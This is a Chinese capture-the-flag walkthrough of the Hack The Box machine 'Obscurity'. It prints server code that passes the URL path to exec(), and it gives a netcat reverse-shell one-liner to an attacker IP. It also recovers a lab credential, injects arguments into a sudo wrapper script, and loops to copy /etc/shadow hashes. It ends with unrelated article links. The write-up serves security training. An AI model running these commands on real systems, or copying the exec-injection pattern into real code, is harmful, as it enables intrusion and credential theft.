HTB-Obscurity

news/2024/7/6 13:41:56 标签: 其他

HTB-Obscurity

  • 信息收集
  • 8080端口
  • 立足
  • www-data -> robert
  • robert -> root
    • sudo 注入
    • hash捕获

在这里插入图片描述

信息收集

在这里插入图片描述

8080端口

在这里插入图片描述
”如果攻击者不知道你在使用什么软件,你就不会被黑客攻击!“,目标对web的指纹做了某些处理。
在这里插入图片描述

“‘SuperSecureServer.py’ in the secret development directory”,接下来我们试试寻找这个秘密开发目录在哪里。
在这里插入图片描述
因为网站做了处理,所以目录扫描没法获取更多信息。尝试对SuperSecureServer.py’进行FUZZ。很显然失败了。
在这里插入图片描述
现在收集已有的词汇信息做一个字典来试试。目前我们有的词汇:

dev
develop
development
devs
security
secure
secret

然后对表进行首字母大写、全大写做一个小字典。

在这里插入图片描述
在这里插入图片描述

查看网站源码。
在这里插入图片描述

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, 0client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

其中在serveDoc函数中有两句有注释的代码,并且还有exec函数。这意味着找到什么地方传进来的path,如果能控制path的值那这个exec函数就十分危险。

 info = "output = 'Document: {}'"	 # Keep the output for later debug
 exec(info.format(path))			 # This is how you do string formatting, right?

serveDoc接收一个path参数,再对path进行处理得到新的path。

path = urllib.parse.unquote(path)

urllib.parse会解析url地址。
在这里插入图片描述
urllib.parse.unquote会解析url编码过后的url地址。
在这里插入图片描述

handleRequest里面调用了serveDoc,跟进handleRequest函数看看。

def handleRequest(self, request, conn, address):
        if request.good:-
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]

需要request.good为真才会有可能控制,为假就直接写入/errors/400.html了。跟进后发现listenToClient函数。

  def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)//处于一个无限循环中
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False

跟进listenToClientclass Server

class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept() #accept()接收客户端的请求并返回一个套接字给client,连接地址给address。
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()   

OK最后一步找到定义的位置。

class Request:
    def __init__(self, request):
        self.good = True 						#一来self.good为真
        try:
            request = self.parseRequest(request)       
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]    #对method、doc、vers、header、body进行获取,如果是正确的格式就不会让self.good改变。
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}

OK让我们再来梳理一遍,我们想控制serveDoc函数里面的exec(info.format(path)),path就是我们的url地址;那么是谁调用了serveDoc,是handleRequest,在handleRequest函数中需要满足request.good为真才能完成调用;那么又是谁调用了handleRequest以及是谁在控制request.good,是listenToClient调用了handleRequest,并且通过Request类来控制request.good,所以我们只要保证数据该有啥有啥就行了。

现在来测试一下
info = “output = ‘Document: {}’” # Keep the output for later debug
exec(info.format(path))

在这里插入图片描述

经过不断地调整找到了注入代码。

在这里插入图片描述

立足

ping 测试成功。
在这里插入图片描述

rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>&1|nc%2010.10.14.31%204443%20>/tmp/f

在这里插入图片描述

www-data -> robert

在robertde家目录下有几个很有意思的文件。
在这里插入图片描述

check.txt
在这里插入图片描述
用我的key通过SuperSecureCrypt.py加密check.txt后会产生out.txt。
在这里插入图片描述

相当于check.txt + KEY -> SuperSecureCrypt.py= out.txt。我们都知道了其中三个,那这个key应该能很好推出来。
在这里插入图片描述
明文-钥匙的ASCII码小于255,因为我们明文中最大的字符是y,ASCII码是121。而key的ASCII码有三种可能,每一种都不会超过255,所以就相当于chr(ord(newChr) + ord(keyChr))
在这里插入图片描述
查看发现因为负数,chr无法处理。
在这里插入图片描述
加上绝对值

在这里插入图片描述
似乎这一长串就是key。

alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal

在这里插入图片描述

robert:SecThruObsFTW

在这里插入图片描述

robert -> root

sudo 注入

id有adm组,adm组允许访问/var/log日志文件,有时候可能会导致有些日志文件泄露敏感信息。
在这里插入图片描述

在这里插入图片描述
查看一下BetterSSH.py的权限呢。
在这里插入图片描述

import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
#生成8位随机小写大写数字组合的字符串
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")
	#获取user和passW
    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    #获取拥有密码的用户并将用户密码给data,其中包括很多为空的信息。
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)
            #把data中空的信息过滤掉并附加到passwords中。

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    #对passwords的内容再次进行处理,每一个数据之间添加一个\n,。同一用户之间数据会有一个换行符相隔,不同用户数据会有多个换行符。
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
       	#在/tmp/SSH目录下创建一个以上面path生成的字符串为名的文档,并将处理好的内容写进去。
    time.sleep(.1)	#系统挂起0.1秒
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:] #如果p[0]和前面我们输入的user一致才能进入此句,密码哈希的盐和密码分开存储。
            break

    if salt == "":				#盐为空代表没密码,进行清理工作并退出。
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
        
    salt = '$6$'+salt+'$'		#重新修改hash类型,$6$为sha512crypt。
    realPass = salt + realPass	#重新组装密码hash

    hash = crypt.crypt(passW, salt)	#调用crypt对我们输入的密码用新盐进行加密。

    if hash == realPass:		#如果我们输入的密码通过加密后等于前面获取的/etc/shadows的hash则完成验证。
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")		#后面就是验证失败的处理方法
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))						#将command和sudo -u root command拼装一起。
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
                 

大致了解完脚本的工作方式后脑子里应该有一个初步的进攻模型了,先寻找我们能够控制的地方。

  • session[‘user’] = input("Enter username: ")中的user
  • passW = input("Enter password: ")中的passW

user第一次使用是在 if p[0] == session['user']:,第二次是在完成hash验证后使用。passW在 hash = crypt.crypt(passW, salt)中被使用。可能性最大的应该是user,passW就只被用来加密,而user可以被用来拼接输入的命令的cmd = ['sudo', '-u', session['user']]

运行程序看看。
在这里插入图片描述
发现没有/tmp/SSH文件。

在这里插入图片描述
创建好文件后并使用robert凭证验证。
在这里插入图片描述
来想想怎么注入sudo,最容易想到应该就是下图这样的吧。
在这里插入图片描述
要注入sudo的锁是 if p[0] == session['user']:看了一下python的文档,貌似没有像php弱等于的问题。是时候跳出兔子洞了。再次回头会发现有第三个输入点。就是command。

在这里插入图片描述
原本是sudo -u robert command,我们输入 id;sudo -u root id,来组成sudo -u robert id;sudo -u root id。
在这里插入图片描述

脚本不支持分号连接语句。
在这里插入图片描述
经过测试发现sudo -u kali id root可以使用root权限来执行id。

在这里插入图片描述
并且发现是按id后面的用户来执行对应权限。

在这里插入图片描述
但是这个有一个问题,只支持没有参数的命令,不然会把root当作扩展。
在这里插入图片描述
改成-u root id也能成功,但是在攻击机上无法完成。
在这里插入图片描述

在这里插入图片描述

hash捕获

当我们输入的密码没有通过验证后,就会将生成在/tmp/SSH的某个文件删除,那个文件存有重新处理过的/etc/shadow内容。
在这里插入图片描述

while true;do cat * /tmp/SSH >> /tmp/shadow;done

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述


http://www.niftyadmin.cn/n/228753.html

相关文章

经历了野蛮生长之后,新科技或许已经抵达了全新的临界点

跳出仅仅只是以概念和营销的方式来定义元宇宙,真正找到元宇宙与现实商业之间的桥接,让元宇宙可以在真实实践上得到复现,才是保证元宇宙的发展可以进入到一个全新发展阶段的关键所在。归根到底,我们还是要找到元宇宙落地的正确的方…

【shell 脚本】

编写 shell 脚本 Hello word 创建并进入编写一个 xx.sh脚本文件 vi first.sh#! /bin/bashecho "Hello Word!"运行 .sh脚本 sh first.sh或 ./first.sh加上 -x 可以查看脚本的运行记录 sh -x first.sh[rootshell ~]# sh -x first.shecho Hello Word!Hello Word!基…

Rust China Conf 2023 筹备启动:议题征集开始

大会介绍Rust China Conf 2023 由 Rust 中文社区发起主办、知名企业和开源组织联合协办,是年度国内规模最大并唯一的 Rust 线下大型会议,深受 Rust 中文社区开发者与相关企业的喜爱与推崇。本次大会为线下会议,将于6月17日-18日在上海举办&am…

代码随想录算法训练营总结篇

通过本次为期两个月的算法训练使自己对于算法中一些名词有了更加深刻的理解。接下来我将按照这段时间的算法题目做一个总结。 在进入算法训练之前首先应对时间复杂度和空间复杂度有一个认识,我们在完成一道代码题后,对其进行优化的前提是可以从目前已完…

【RocketMQ】主从模式下的消费进度管理

在【RocketMQ】消息的拉取一文中可知,消费者在启动的时候,会创建消息拉取API对象PullAPIWrapper,调用pullKernelImpl方法向Broker发送拉取消息的请求,那么在主从模式下消费者是如何选择向哪个Broker发送拉取请求的? 进…

5.mysql复合查询

目录 基本查询回顾 多表查询 自连接 子查询 合并查询 前面我们讲解的 mysql 表的查询都是对一张表进行查询,在实际开发中这远远不够。

【PyTorch】第七节:数据加载器

作者🕵️‍♂️:让机器理解语言か 专栏🎇:PyTorch 描述🎨:PyTorch 是一个基于 Torch 的 Python 开源机器学习库。 寄语💓:🐾没有白走的路,每一步都算数&#…

C++入门教程||C++ 重载运算符和重载函数||C++ 多态

C 重载运算符和重载函数 C 重载运算符和重载函数 C 允许在同一作用域中的某个函数和运算符指定多个定义,分别称为函数重载和运算符重载。 重载声明是指一个与之前已经在该作用域内声明过的函数或方法具有相同名称的声明,但是它们的参数列表和定义&…